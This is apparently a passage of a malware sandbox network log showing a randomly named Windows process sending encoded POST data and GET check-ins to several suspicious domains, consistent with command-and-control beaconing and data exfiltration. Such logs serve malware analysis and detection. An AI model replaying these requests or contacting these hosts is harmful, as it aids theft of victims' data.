Aug 5, 2024 15:33:33.481098890 CEST	217	IN	Data Raw: e6 b2 a1 e6 9c 89 e5 b9 bf e5 91 8a 3c 2f 64 69 76 3e 3c 64 69 76 3e e7 94 b5 e5 bd b1 e6 92 ad e6 94 be e4 b8 8d e5 8d a1 e9 a1 bf 3c 2f 64 69 76 3e 3c 64 69 76 3e e7 b2 be e5 bd a9 e8 a7 86 e9 a2 91 e5 ad 98 e5 85 a5 e7 bd 91 e7 9b 98 e9 9a 8f Data Ascii: </div><div></div><div></div></div><script src="https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	55435	76.223.67.189	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:38.524996042 CEST	718	OUT	POST /l2ei/ HTTP/1.1 Host: www.rtrpodcast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.rtrpodcast.online Referer: http://www.rtrpodcast.online/l2ei/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 37 50 5a 4a 52 53 58 78 62 57 53 6c 71 6c 4f 4a 31 64 44 33 35 49 42 78 63 4d 4b 7a 30 4c 75 68 42 46 67 4e 63 43 6c 47 62 56 4d 7a 64 6e 71 6f 43 39 77 78 66 53 77 47 2b 6b 72 53 4f 7a 38 62 4e 57 58 34 55 53 65 45 42 65 6d 6b 4c 77 5a 37 50 68 4d 5a 34 5a 55 50 49 57 6f 50 4c 46 35 78 73 74 51 34 7a 6b 34 59 39 39 68 6e 4d 52 73 43 4b 2b 74 54 6c 43 44 58 6e 4d 42 59 2f 77 4a 45 73 47 79 71 46 64 77 47 6b 36 38 79 5a 73 49 50 39 31 7a 5a 49 4a 43 69 6c 65 68 6b 4e 6b 4d 57 68 66 62 43 43 44 64 76 65 77 41 38 76 68 48 4f 4c 66 77 73 78 61 2b 68 51 44 36 76 7a 63 39 33 71 77 3d 3d Data Ascii: efM=7PZJRSXxbWSlqlOJ1dD35IBxcMKz0LuhBFgNcClGbVMzdnqoC9wxfSwG+krSOz8bNWX4USeEBemkLwZ7PhMZ4ZUPIWoPLF5xstQ4zk4Y99hnMRsCK+tTlCDXnMBY/wJEsGyqFdwGk68yZsIP91zZIJCilehkNkMWhfbCCDdvewA8vhHOLfwsxa+hQD6vzc93qw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	55436	76.223.67.189	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:41.071110010 CEST	738	OUT	POST /l2ei/ HTTP/1.1 Host: www.rtrpodcast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.rtrpodcast.online Referer: http://www.rtrpodcast.online/l2ei/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 37 50 5a 4a 52 53 58 78 62 57 53 6c 72 46 65 4a 32 2b 72 33 38 6f 42 2b 5a 4d 4b 7a 37 72 76 4a 42 46 38 4e 63 41 4a 76 59 6e 6f 7a 64 47 61 6f 42 38 77 78 59 53 77 47 6d 30 72 54 42 54 39 5a 4e 57 4c 77 55 54 69 45 42 66 43 6b 4c 31 64 37 49 53 6b 65 34 4a 55 4e 44 32 6f 42 47 6c 35 78 73 74 51 34 7a 6b 38 6d 39 39 70 6e 4d 67 38 43 4c 62 5a 55 35 53 44 51 67 4d 42 59 37 77 4a 49 73 47 79 45 46 59 6f 34 6b 35 49 79 5a 74 34 50 39 42 6e 61 43 4a 44 6e 36 75 67 42 65 6b 56 6e 75 66 66 4e 4a 46 52 7a 44 68 49 42 6a 48 57 55 61 75 52 37 6a 61 61 53 4e 45 7a 62 2b 66 41 2b 78 2f 7a 30 78 4a 66 57 62 48 78 76 2f 73 34 39 73 32 79 47 69 2f 59 3d Data Ascii: efM=7PZJRSXxbWSlrFeJ2+r38oB+ZMKz7rvJBF8NcAJvYnozdGaoB8wxYSwGm0rTBT9ZNWLwUTiEBfCkL1d7ISke4JUND2oBGl5xstQ4zk8m99pnMg8CLbZU5SDQgMBY7wJIsGyEFYo4k5IyZt4P9BnaCJDn6ugBekVnuffNJFRzDhIBjHWUauR7jaaSNEzb+fA+x/z0xJfWbHxv/s49s2yGi/Y=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	55437	76.223.67.189	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:43.597143888 CEST	10820	OUT	POST /l2ei/ HTTP/1.1 Host: www.rtrpodcast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.rtrpodcast.online Referer: http://www.rtrpodcast.online/l2ei/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 37 50 5a 4a 52 53 58 78 62 57 53 6c 72 46 65 4a 32 2b 72 33 38 6f 42 2b 5a 4d 4b 7a 37 72 76 4a 42 46 38 4e 63 41 4a 76 59 6e 67 7a 64 77 4f 6f 44 66 49 78 5a 53 77 47 34 6b 72 65 42 54 39 59 4e 57 54 30 55 54 75 55 42 63 71 6b 61 6a 68 37 4e 6a 6b 65 33 4a 55 4e 4d 57 6f 41 4c 46 34 31 73 74 67 38 7a 6c 4d 6d 39 39 70 6e 4d 69 55 43 4d 4f 74 55 37 53 44 58 6e 4d 42 55 2f 77 4a 73 73 43 6d 79 46 59 6b 6f 6b 4b 51 79 5a 4f 41 50 75 69 50 61 66 35 44 70 37 75 67 6a 65 6b 70 38 75 66 43 38 4a 46 4e 4a 44 68 4d 42 6a 43 76 4d 66 4d 4e 6a 38 36 4f 57 51 30 69 2f 2f 2f 77 37 78 4e 76 64 6e 63 2f 73 4f 48 35 6d 77 50 31 52 6f 6e 36 63 67 5a 36 31 59 69 69 42 43 50 58 59 6e 34 6b 56 37 65 62 2f 65 4f 6f 6e 68 32 77 63 41 55 6c 52 70 49 6e 55 70 2f 62 6d 41 52 4c 56 61 32 51 61 58 75 37 43 33 48 51 52 45 39 53 30 46 69 33 2b 79 66 4f 50 70 79 6b 75 76 30 46 79 67 79 53 4a 30 61 69 54 53 47 67 46 6a 43 44 44 46 32 37 64 68 77 49 2b 58 4e 36 57 61 69 7a 72 54 53 53 52 54 37 4b 77 2f 69 68 6d 50 4a [TRUNCATED] Data Ascii: efM=7PZJRSXxbWSlrFeJ2+r38oB+ZMKz7rvJBF8NcAJvYngzdwOoDfIxZSwG4kreBT9YNWT0UTuUBcqkajh7Njke3JUNMWoALF41stg8zlMm99pnMiUCMOtU7SDXnMBU/wJssCmyFYkokKQyZOAPuiPaf5Dp7ugjekp8ufC8JFNJDhMBjCvMfMNj86OWQ0i///w7xNvdnc/sOH5mwP1Ron6cgZ61YiiBCPXYn4kV7eb/eOonh2wcAUlRpInUp/bmARLVa2QaXu7C3HQRE9S0Fi3+yfOPpykuv0FygySJ0aiTSGgFjCDDF27dhwI+XN6WaizrTSSRT7Kw/ihmPJUyULZTHFf2WZ5fB42ipgH1nAx4LlR1yMuCiVcruiyCmEvXBjSZsZXWCcbgUlP+llFv1WVfWEVrlZpC7oHWVzPdZ9qKqb94RmBhopjjvcts3b8EzbG/0dPeLelMcIDvHReifbTGNFJc5kKYcBeGaQoWkbJUff3GnKSz7w1C+yEpPOyKm+TrIjVdyOXTuS1nRqKh0bGU3yCY5MyLSS8mTKuhr5T8YgBPwF6rUQ8h8C3KLtpragOrZ969xdv1oSPCj+10P8cSUXvR6jqkeXGlGyeGtldq7cISQoD2ETKQlHeHp1Gcz/xsWi6YPDdKgNmoak6abMmAHfbNpSW/j9Wfyg9BqBVUMjp21o3IgiQhkHLIQfrRD6W8oLAh/68rPA1GaqS5TQGK5FF7XsgcJC8oOrq5coRyKbN63Z+CqsFJwkducktNYrM14pIy0Sna9dAIaUdM2IVKRq84M0nSxV2Zm1aSDBHlikQFqVrEX9sN2gGGzx6bxHOW7b5i+nDwGAgGzXjza52ST7cvQDHyPjrsUCbiwRn9KfBqJEx6SUURLElkpPzx5+9lug2OvdpnDMUHKjeeDffsnOanrcyxvrBiS2HEBa7pbco+KMgDkxtlRmPOnbfH0Pkn9RAOC3Z/35vfIHiRpULAD4OnDdzTe8/V2lel4qvbpy5Fisrt [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	55438	76.223.67.189	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:46.133927107 CEST	442	OUT	GET /l2ei/?GTP=uhqpjxIPh&efM=2NxpSnefRSOpgA+BoOniz/1uTtrxzrfiLmMZXjpfeHguawaVYOMhehQzwyXJSn5dNV3paxCkLfqDWT9yLxINxooKAGgJDCdVs948iDsg681FEAENC5VGkiM= HTTP/1.1 Host: www.rtrpodcast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:33:46.607428074 CEST	393	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 05 Aug 2024 13:33:46 GMT Content-Type: text/html Content-Length: 253 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 54 50 3d 75 68 71 70 6a 78 49 50 68 26 65 66 4d 3d 32 4e 78 70 53 6e 65 66 52 53 4f 70 67 41 2b 42 6f 4f 6e 69 7a 2f 31 75 54 74 72 78 7a 72 66 69 4c 6d 4d 5a 58 6a 70 66 65 48 67 75 61 77 61 56 59 4f 4d 68 65 68 51 7a 77 79 58 4a 53 6e 35 64 4e 56 33 70 61 78 43 6b 4c 66 71 44 57 54 39 79 4c 78 49 4e 78 6f 6f 4b 41 47 67 4a 44 43 64 56 73 39 34 38 69 44 73 67 36 38 31 46 45 41 45 4e 43 35 56 47 6b 69 4d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?GTP=uhqpjxIPh&efM=2NxpSnefRSOpgA+BoOniz/1uTtrxzrfiLmMZXjpfeHguawaVYOMhehQzwyXJSn5dNV3paxCkLfqDWT9yLxINxooKAGgJDCdVs948iDsg681FEAENC5VGkiM="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	55439	116.213.43.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:34:00.170471907 CEST	700	OUT	POST /jda9/ HTTP/1.1 Host: www.mqmsqkw.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.mqmsqkw.lol Referer: http://www.mqmsqkw.lol/jda9/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 36 36 45 48 54 39 37 7a 59 71 75 35 66 30 49 57 68 37 31 43 51 39 56 65 38 45 6a 61 49 62 66 72 6f 50 50 38 41 4e 58 4e 73 77 38 72 33 36 6d 38 69 41 73 6c 63 30 74 62 59 54 66 50 61 41 34 76 2f 52 2f 4a 54 56 72 46 4c 76 59 75 35 49 32 63 32 65 31 4a 63 2b 48 62 75 48 77 41 49 67 6a 2b 36 64 7a 6b 55 6f 76 70 61 48 75 4f 69 66 37 67 78 32 78 59 6e 6b 37 71 4e 45 72 39 39 46 4a 42 70 52 58 34 54 39 6a 73 55 2f 58 58 50 50 56 6b 33 76 47 50 71 73 62 50 57 4c 44 70 38 6a 63 48 59 75 51 48 4b 68 76 32 77 51 62 2b 63 67 32 63 51 66 79 46 7a 32 6b 33 66 68 5a 42 70 51 4d 39 4a 67 3d 3d Data Ascii: efM=66EHT97zYqu5f0IWh71CQ9Ve8EjaIbfroPP8ANXNsw8r36m8iAslc0tbYTfPaA4v/R/JTVrFLvYu5I2c2e1Jc+HbuHwAIgj+6dzkUovpaHuOif7gx2xYnk7qNEr99FJBpRX4T9jsU/XXPPVk3vGPqsbPWLDp8jcHYuQHKhv2wQb+cg2cQfyFz2k3fhZBpQM9Jg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	55440	116.213.43.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:34:02.711033106 CEST	720	OUT	POST /jda9/ HTTP/1.1 Host: www.mqmsqkw.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.mqmsqkw.lol Referer: http://www.mqmsqkw.lol/jda9/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 36 36 45 48 54 39 37 7a 59 71 75 35 65 56 34 57 6a 63 4a 43 56 64 56 64 7a 6b 6a 61 47 4c 66 56 6f 4f 7a 38 41 4a 48 64 74 43 6f 72 33 59 2b 38 6a 43 55 6c 52 55 74 62 66 6a 66 4b 55 67 34 61 2f 52 37 76 54 51 44 46 4c 76 4d 75 35 4a 47 63 32 74 64 47 64 75 48 56 31 33 77 65 47 41 6a 2b 36 64 7a 6b 55 6f 71 2b 61 48 32 4f 69 76 72 67 79 58 78 62 75 45 36 59 45 6b 72 39 35 46 4a 46 70 52 57 76 54 38 2b 35 55 39 66 58 50 4f 46 6b 33 2b 47 49 67 73 62 42 59 72 43 6a 37 51 39 43 42 37 31 39 56 43 2f 49 75 68 66 42 55 47 6e 47 42 75 54 53 68 32 41 45 43 6d 51 31 6b 54 78 30 53 6e 51 4a 6a 43 45 45 6b 4b 59 54 72 45 76 6b 4f 4f 41 58 58 6b 59 3d Data Ascii: efM=66EHT97zYqu5eV4WjcJCVdVdzkjaGLfVoOz8AJHdtCor3Y+8jCUlRUtbfjfKUg4a/R7vTQDFLvMu5JGc2tdGduHV13weGAj+6dzkUoq+aH2OivrgyXxbuE6YEkr95FJFpRWvT8+5U9fXPOFk3+GIgsbBYrCj7Q9CB719VC/IuhfBUGnGBuTSh2AECmQ1kTx0SnQJjCEEkKYTrEvkOOAXXkY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	55441	116.213.43.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:34:05.237059116 CEST	10802	OUT	POST /jda9/ HTTP/1.1 Host: www.mqmsqkw.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.mqmsqkw.lol Referer: http://www.mqmsqkw.lol/jda9/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 36 36 45 48 54 39 37 7a 59 71 75 35 65 56 34 57 6a 63 4a 43 56 64 56 64 7a 6b 6a 61 47 4c 66 56 6f 4f 7a 38 41 4a 48 64 74 43 77 72 33 4c 32 38 68 6c 34 6c 51 55 74 62 63 6a 66 4c 55 67 34 48 2f 52 44 6a 54 51 47 77 4c 74 30 75 37 76 79 63 2f 38 64 47 54 75 48 56 71 48 77 66 49 67 6a 52 36 64 6a 67 55 6f 36 2b 61 48 32 4f 69 74 6a 67 6b 32 78 62 69 6b 37 71 4e 45 72 68 39 46 4a 39 70 56 43 2f 54 38 36 70 56 4e 2f 58 42 50 31 6b 37 73 2b 49 6f 73 61 6e 62 72 44 32 37 51 78 4a 42 2f 56 41 56 42 6a 69 75 68 72 42 58 67 57 6c 57 4e 62 77 6a 56 56 61 51 55 6b 75 6e 51 42 70 52 30 46 77 75 7a 55 62 38 62 6c 35 76 54 48 74 57 39 49 44 55 52 64 36 76 73 55 33 6f 6e 61 54 38 76 47 71 36 73 45 41 66 4e 6d 59 62 4f 75 2b 4c 59 52 6d 4b 65 6a 57 53 32 38 4f 79 7a 73 51 72 4a 4e 4b 68 46 37 54 57 39 46 42 6c 38 57 6e 2b 74 72 2f 69 36 54 70 78 64 41 5a 6c 4b 2b 53 79 37 65 5a 77 45 64 42 77 34 61 41 56 6e 78 67 63 49 62 71 55 77 68 35 45 62 69 31 7a 37 50 79 77 35 54 73 55 39 74 44 52 30 46 79 62 4c [TRUNCATED] Data Ascii: efM=66EHT97zYqu5eV4WjcJCVdVdzkjaGLfVoOz8AJHdtCwr3L28hl4lQUtbcjfLUg4H/RDjTQGwLt0u7vyc/8dGTuHVqHwfIgjR6djgUo6+aH2Oitjgk2xbik7qNErh9FJ9pVC/T86pVN/XBP1k7s+IosanbrD27QxJB/VAVBjiuhrBXgWlWNbwjVVaQUkunQBpR0FwuzUb8bl5vTHtW9IDURd6vsU3onaT8vGq6sEAfNmYbOu+LYRmKejWS28OyzsQrJNKhF7TW9FBl8Wn+tr/i6TpxdAZlK+Sy7eZwEdBw4aAVnxgcIbqUwh5Ebi1z7Pyw5TsU9tDR0FybLs3rmaaF4tjkyr5K24ONWJdR0Rw88lX5JEvtOufbUSGa83GeoLY/x3oiXmDwk2c1DZq1XF5/i5LnLC+sAVLjruuXNRSMv+dFV+ijNh5PTdNl1KSvwblVEurWxDHV+zJV0sjD9+HUqNCyuaQlRegtS2D5qz7mQJTGNI3f5DHhwr2VTg2niwY/lIGipisbhEG7rtFs/w+n9ef4hX8YKgVvSzBmCUCdrFbDTY86D28vcnPDAm6VpPCylytZ7DWooNpSkBIMvzZ9pQccHVUaAjq+MFImOny3gNulPU/dOuo9taKTU0HAu9aCsn/LRYw9auMTfT23HCDlcLW00z/NadVhJ8IshNwD6wtB0mXTTY1WNzksO+e9Z0IYrH0Wn00Uq8Ep34Z8jKihX8WNoHoyX78jGOt2ICWIYzeGHYfZR+AAt2tJPy3OTd+ylgyVAgyj9gZ42SWf8j2UUM7V2nkbjhdYBcc5ipCWwaKQjNj2EbcN6Vc+vevikptMnaVkw+mhqnEyXcw+Z0OjdCwoFt3ICjOtivVNPAyWHfv52Yl/p9eTywKVTUlE1xG+5m/6hjIJKp+qq8hSGBrFojP29KPvDzRcpPB8YYBm3rhEiX+czKNLTPLA0xB/As92udkEFh6sT1eI7hlOtirW1QHEliq9J5gieTAkgIHi4r1Plrk [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	55442	116.213.43.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:34:07.770054102 CEST	436	OUT	GET /jda9/?GTP=uhqpjxIPh&efM=34snQIO0a+qzYlkt+6IEft1gxD/ZK6L7qOToIJHZshoLhvuGziw8TW5Od2ToMUc/iXvMW07TMOYG4pWJ/ehZbdqmuEYhDCzj/N3rZv+VTG2UiN/ilnh8230= HTTP/1.1 Host: www.mqmsqkw.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	55443	116.213.43.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:34:34.662576914 CEST	700	OUT	POST /yxos/ HTTP/1.1 Host: www.lfghtko.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lfghtko.lol Referer: http://www.lfghtko.lol/yxos/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 4c 75 67 59 6c 62 6f 51 63 61 52 44 69 63 61 45 74 47 79 59 6d 31 6d 61 35 73 79 53 53 33 41 73 55 7a 38 36 36 6b 4b 64 64 4e 65 45 77 5a 58 70 57 58 43 49 50 48 50 31 6e 58 51 35 63 49 38 38 79 76 65 56 77 47 44 49 78 70 65 6c 68 65 76 35 75 69 35 55 34 62 6c 51 75 42 45 70 6e 59 58 53 66 47 72 53 43 6a 6f 2b 37 37 4f 72 46 6e 59 31 49 55 75 46 5a 58 78 44 71 79 6b 6b 50 35 62 49 67 49 6a 4e 58 4b 7a 6d 43 36 4e 56 35 6e 63 4a 4d 73 57 68 4d 6d 56 6d 79 6e 72 69 37 58 64 4c 43 6c 62 6f 5a 64 38 56 67 63 6d 63 58 67 45 45 4a 73 34 56 58 34 33 4b 58 72 57 6c 53 6e 63 6a 43 51 3d 3d Data Ascii: efM=LugYlboQcaRDicaEtGyYm1ma5sySS3AsUz866kKddNeEwZXpWXCIPHP1nXQ5cI88yveVwGDIxpelhev5ui5U4blQuBEpnYXSfGrSCjo+77OrFnY1IUuFZXxDqykkP5bIgIjNXKzmC6NV5ncJMsWhMmVmynri7XdLClboZd8VgcmcXgEEJs4VX43KXrWlSncjCQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	55444	116.213.43.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:34:37.207216024 CEST	720	OUT	POST /yxos/ HTTP/1.1 Host: www.lfghtko.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lfghtko.lol Referer: http://www.lfghtko.lol/yxos/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 4c 75 67 59 6c 62 6f 51 63 61 52 44 6a 39 4b 45 69 48 79 59 75 31 6d 64 38 73 79 53 62 58 41 53 55 7a 67 36 36 6b 69 7a 64 2f 36 45 77 35 6e 70 58 57 43 49 49 48 50 31 76 33 51 34 44 34 38 6e 79 76 53 73 77 48 2f 49 78 6f 36 6c 68 63 6e 35 74 52 52 54 36 4c 6c 4f 37 52 45 72 34 49 58 53 66 47 72 53 43 6e 4a 6a 37 34 2b 72 46 57 6f 31 4f 31 75 45 48 48 78 45 74 79 6b 6b 4c 35 62 54 67 49 6a 76 58 49 58 4d 43 34 31 56 35 6d 73 4a 4c 2b 2b 75 47 6d 56 73 39 48 71 4f 37 32 4d 73 45 33 71 63 59 37 52 77 6c 74 2b 6f 66 47 56 65 59 64 5a 43 46 34 54 35 4b 73 66 52 66 6b 68 71 5a 58 35 42 57 64 6e 50 6c 62 62 53 39 34 75 6c 73 70 39 55 53 70 73 3d Data Ascii: efM=LugYlboQcaRDj9KEiHyYu1md8sySbXASUzg66kizd/6Ew5npXWCIIHP1v3Q4D48nyvSswH/Ixo6lhcn5tRRT6LlO7REr4IXSfGrSCnJj74+rFWo1O1uEHHxEtykkL5bTgIjvXIXMC41V5msJL++uGmVs9HqO72MsE3qcY7Rwlt+ofGVeYdZCF4T5KsfRfkhqZX5BWdnPlbbS94ulsp9USps=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	55445	116.213.43.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:34:39.739084959 CEST	10802	OUT	POST /yxos/ HTTP/1.1 Host: www.lfghtko.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lfghtko.lol Referer: http://www.lfghtko.lol/yxos/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 4c 75 67 59 6c 62 6f 51 63 61 52 44 6a 39 4b 45 69 48 79 59 75 31 6d 64 38 73 79 53 62 58 41 53 55 7a 67 36 36 6b 69 7a 64 2f 79 45 77 4b 76 70 58 31 71 49 4a 48 50 31 6c 58 51 44 44 34 38 6d 79 73 69 6f 77 48 7a 32 78 71 79 6c 67 2f 2f 35 6f 67 52 54 67 62 6c 4f 6b 68 45 6f 6e 59 58 48 66 43 50 57 43 6a 74 6a 37 34 2b 72 46 56 77 31 4e 6b 75 45 46 48 78 44 71 79 6b 34 50 35 61 64 67 49 36 53 58 49 43 37 43 4d 4a 56 35 46 55 4a 4e 4c 4b 75 4b 6d 56 69 38 48 71 57 37 32 41 7a 45 33 6d 6d 59 2f 51 62 6c 74 61 6f 62 6e 74 64 4c 2f 78 56 66 4a 48 30 56 4d 50 51 64 31 51 6d 58 6e 70 47 51 74 6d 57 32 6f 7a 52 36 34 66 7a 35 70 64 79 54 73 2f 4e 72 47 50 67 6e 34 31 34 78 75 52 65 5a 67 4e 42 6a 6a 51 46 56 62 7a 6d 6f 78 30 4f 33 34 68 6e 4d 58 49 56 31 36 73 50 6d 7a 7a 68 67 74 45 36 6e 72 5a 75 47 4a 48 30 50 36 38 4b 47 6b 53 4f 54 34 78 56 4d 49 42 52 57 4b 4b 54 41 68 62 47 77 36 4f 33 47 4f 4c 47 72 62 65 4c 4d 50 4e 49 56 2b 6c 42 56 68 33 33 2f 38 30 45 38 53 69 7a 77 55 61 68 59 67 [TRUNCATED] Data Ascii: 